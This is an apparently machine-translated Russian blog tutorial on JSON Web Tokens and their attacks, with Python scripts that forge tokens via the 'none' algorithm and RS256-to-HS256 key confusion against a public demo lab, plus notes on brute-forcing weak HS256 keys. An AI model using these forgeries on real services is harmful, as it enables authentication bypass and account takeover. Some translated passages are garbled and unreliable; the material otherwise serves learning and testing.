Привет,

Что ж, это моя первая запись, и по мере ее написания может быть множество ошибок, поэтому, пожалуйста, дайте мне отзыв, чтобы я мог над этим поработать.

Итак, начнем!

0x01 Рабочий процесс JWT

Начиная с JWT, это очень легкая спецификация.

Эта спецификация позволяет нам использовать JWT для передачи безопасной и надежной информации между пользователями и серверами.

JWT часто используется для разделения внешнего и внутреннего интерфейса и может использоваться с Restful API и часто используется для создания механизмов аутентификации личности.

Возьмем, к примеру, vimeo.com, который, насколько мне известно, является одним из крупнейших видеохостингов.

Когда пользователь вводит свои учетные данные, отправляется почтовый запрос (см. Рис. 1), после чего учетные данные проверяются. Если это правильная комбинация, то пользователю предоставляется ответ с токеном JWT, как показано на рисунке 2.

Пример JWT: eyJraWQiOiJrZXlzLzNjM2MyZWExYzNmMTEzZjY0OWRjOTM4OWRkNzFiODUxIiwidHlwIjoiSldUIiwiYWxnIjoiUlMyNTYifQ.eyJzdWIiOiJkdWJoZTEyMyJ9.XicP4pq_WIF2bAVtPmAlWIvAUad_eeBhDOQe2MXwHrE8a7930LlfQq1lFqBs0wLMhht6Z9BQXBRos9jvQ7eumEUFWFYKRZfu9POTOEE79wxNwTxGdHc5VidvrwiytkRMtGKIyhbv68duFPI68Qnzh0z0M7t5LkEDvNivfOrxdxwb7IQsAuenKzF67Z6UArbZE8odNZAA9IYaWHeh1b4OUG0OPM3saXYSG-Q1R5X_5nlWogHHYwy2kD9v4nk1BaQ5kHJIl8B3Nc77gVIIVvzI9N_klPcX5xsuw9SsUfr9d99kaKyMUSXxeiZVM-7os_dw3ttz2f-TJSNI0DYprHHLFw

Теперь всякий раз, когда пользователь обращается к чему-либо, выполняемые запросы немного отличаются с новым заголовком authorization: jwt.

Можно видеть, что JWT фактически передается как аутентифицированная информация, а JWT часто хранится в локальном хранилище кодом внешнего интерфейса.

Локальное хранилище - это новая функция HTML5, которая в основном позволяет вам (веб-разработчику) хранить любую информацию, которую вы хотите, в браузере вашего пользователя с помощью JavaScript. Все просто, правда?

0x02 Формат JWT

Формат JWT очень прост,

Данные JWT разделены на три части: заголовки, полезные данные, подписи (подпись).

Затем эти три . делятся на base64UrlEncode

function base64url_encode($data) {
    return rtrim(strtr(base64_encode($data), '+/', '-_'), '=');
}

Данные JWT в предыдущем разделе (см. Пример JWT)

eyJraWQiOiJrZXlzLzNjM2MyZWExYzNmMTEzZjY0OWRjOTM4OWRkNzFiODUxIiwidHlwIjoiSldUIiwiYWxnIjoiUlMyNTYifQ.eyJzdWIiOiJkdWJoZTEyMyJ9.XicP4pq_WIF2bAVtPmAlWIvAUad_eeBhDOQe2MXwHrE8a7930LlfQq1lFqBs0wLMhht6Z9BQXBRos9jvQ7eumEUFWFYKRZfu9POTOEE79wxNwTxGdHc5VidvrwiytkRMtGKIyhbv68duFPI68Qnzh0z0M7t5LkEDvNivfOrxdxwb7IQsAuenKzF67Z6UArbZE8odNZAA9IYaWHeh1b4OUG0OPM3saXYSG-Q1R5X_5nlWogHHYwy2kD9v4nk1BaQ5kHJIl8B3Nc77gVIIVvzI9N_klPcX5xsuw9SsUfr9d99kaKyMUSXxeiZVM-7os_dw3ttz2f-TJSNI0DYprHHLFw

Эти три части:

  1. Заголовок
eyJraWQiOiJrZXlzLzNjM2MyZWExYzNmMTEzZjY0OWRjOTM4OWRkNzFiODUxIiwidHlwIjoiSldUIiwiYWxnIjoiUlMyNTYifQ

Это {"kid": "keys / 3c3c2ea1c3f113f649dc9389dd71b851," typ ":" JWT "," alg ":" RS256} после декодирования.

Заголовки содержат информацию о конфигурации JWT, такую ​​как алгоритм подписи (alg), тип (JWT) и файл ключа, используемый алгоритмом (используется, когда серверу требуется несколько файлов ключей).

2. Полезные нагрузки

eyJzdWIiOiJkdWJoZTEyMyJ9

Полезные данные используются для хранения некоторых данных пользователей, таких как имя пользователя (test123) ».

3. Подпись

XicP4pq_WIF2bAVtPmAlWIvAUad_eeBhDOQe2MXwHrE8a7930LlfQq1lFqBs0wLMhht6Z9BQXBRos9jvQ7eumEUFWFYKRZfu9POTOEE79wxNwTxGdHc5VidvrwiytkRMtGKIyhbv68duFPI68Qnzh0z0M7t5LkEDvNivfOrxdxwb7IQsAuenKzF67Z6UArbZE8odNZAA9IYaWHeh1b4OUG0OPM3saXYSG-Q1R5X_5nlWogHHYwy2kD9v4nk1BaQ5kHJIl8B3Nc77gVIIVvzI9N_klPcX5xsuw9SsUfr9d99kaKyMUSXxeiZVM-7os_dw3ttz2f-TJSNI0DYprHHLFw

Поскольку заголовок и полезная нагрузка хранятся в виде открытого текста, подпись используется для предотвращения изменения данных.
Подпись функции транзакции, которая предоставляет данные, часто использует алгоритм RS256 (асимметричное шифрование RSA и подпись закрытого ключа) и HS256 (симметричное шифрование HMAC SHA256). , Объектом подписи является base64UrlEncode (заголовки) + «.» + Base64UrlEncode («подпись»).

Подробнее: https://jwt.io/introduction/

0x03 Атакующий JWT

1. Утечка конфиденциальной информации

Очевидно, поскольку полезная нагрузка передается в виде открытого текста, утечка информации происходит, если в полезной нагрузке есть конфиденциальная информация.

2. Измените алгоритм на «Нет».

Алгоритм подписи гарантирует, что JWT не будет изменен злоумышленниками во время передачи.

Но поле alg в заголовке можно изменить на none

Некоторые библиотеки JWT поддерживают алгоритм none, то есть алгоритм без подписи. Если alg отсутствует, серверная часть не будет выполнять проверку подписи.

После изменения alg на none удалите данные подписи из JWT (только заголовок + ‘.’ + Payload + ‘.’) И отправьте их на сервер.

Пример такой атаки можно найти по адресу: http://demo.sjoerdlangkemper.nl/jwtdemo/hs256.php

Код можно найти на Github https://github.com/Sjord/jwtdemo/

Решение этого примера следующее

import jwt
import base64
# header
# eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9
# {"typ":"JWT","alg":"HS256"}
#payload eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTUwNDAwNjQzNSwiZXhwIjoxNTA0MDA2NTU1LCJkYXRhIjp7ImhlbGxvIjoid29ybGQifX0
# {"iss":"http:\/\/demo.sjoerdlangkemper.nl\/","iat":1504006435,"exp":1504006555,"data":{"hello":"world"}}
def b64urlencode(data):
    return base64.b64encode(data).replace('+', '-').replace('/', '_').replace('=', '')

print b64urlencode("{\"typ\":\"JWT\",\"alg\":\"none\"}") + \
    '.' + b64urlencode("{\"data\":\"test\"}") + '.'

Результат

3. Измените алгоритм RS256 на HS256 (алгоритм асимметричного шифрования = ›Алгоритм симметричного шифрования)

Алгоритм HS256 использует секретный ключ для подписи и проверки каждого сообщения.

Алгоритм RS256 использует закрытый ключ для подписи сообщения и открытый ключ для аутентификации.

Если вы измените алгоритм с RS256 на HS256, внутренний код использует открытый ключ в качестве секретного ключа, а затем использует алгоритм HS256 для проверки подписи.

Поскольку злоумышленник иногда может получить открытый ключ, злоумышленник может изменить алгоритм в заголовке на HS256, а затем использовать открытый ключ RSA для подписи данных.

Внутренний код использует открытый ключ RSA + алгоритм HS256 для проверки подписи.

Таким же образом вы можете использовать пример для понимания этой атаки http://demo.sjoerdlangkemper.nl/jwtdemo/hs256.php

Открытый ключ RSA: http://demo.sjoerdlangkemper.nl/jwtdemo/public.pem

Пример решения выглядит следующим образом

import jwt
# eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9
# {"typ":"JWT","alg":"RS256"}
# eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTUwNDAwNzg3NCwiZXhwIjoxNTA0MDA3OTk0LCJkYXRhIjp7ImhlbGxvIjoid29ybGQifX0
# {"iss":"http:\/\/demo.sjoerdlangkemper.nl\/","iat":1504007874,"exp":1504007994,"data":{"hello":"world"}}
public = open('public.pem.1', 'r').read()
print public
print jwt.encode({"data":"test"}, key=public, algorithm='HS256')

Результат следующий (проверка пройдена):

4. Взлом ключа HS256 (симметричное шифрование).

Если сила ключа HS256 является слабой, ее можно использовать прямым перебором, например, используя секретную строку в качестве ключа в образце кода библиотеки PyJWT.

Затем ключ угадывается насильственно, когда ключ правильный, расшифровка успешна, код расшифровки ошибки ключа выдает исключение

Может использовать PyJWT или John Ripper для теста на взлом

Вложение: Сопутствующие инструменты

Библиотека PyJWT https://github.com/jpadilla/pyjwt

>>> import jwt
>>> encoded = jwt.encode({'some': 'payload'}, 'secret', algorithm='HS256')
'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzb21lIjoicGF5bG9hZCJ9.4twFt5NiznN84AWoo1d7KO1T_yoc0Z6XOpOVswacPZg'
>>> jwt.decode(encoded, 'secret', algorithms=['HS256'])
{'some': 'payload'}

0x05 Ссылка



Аплодисменты приветствуются :)

Следуйте за мной в твиттере https://twitter.com/401Hate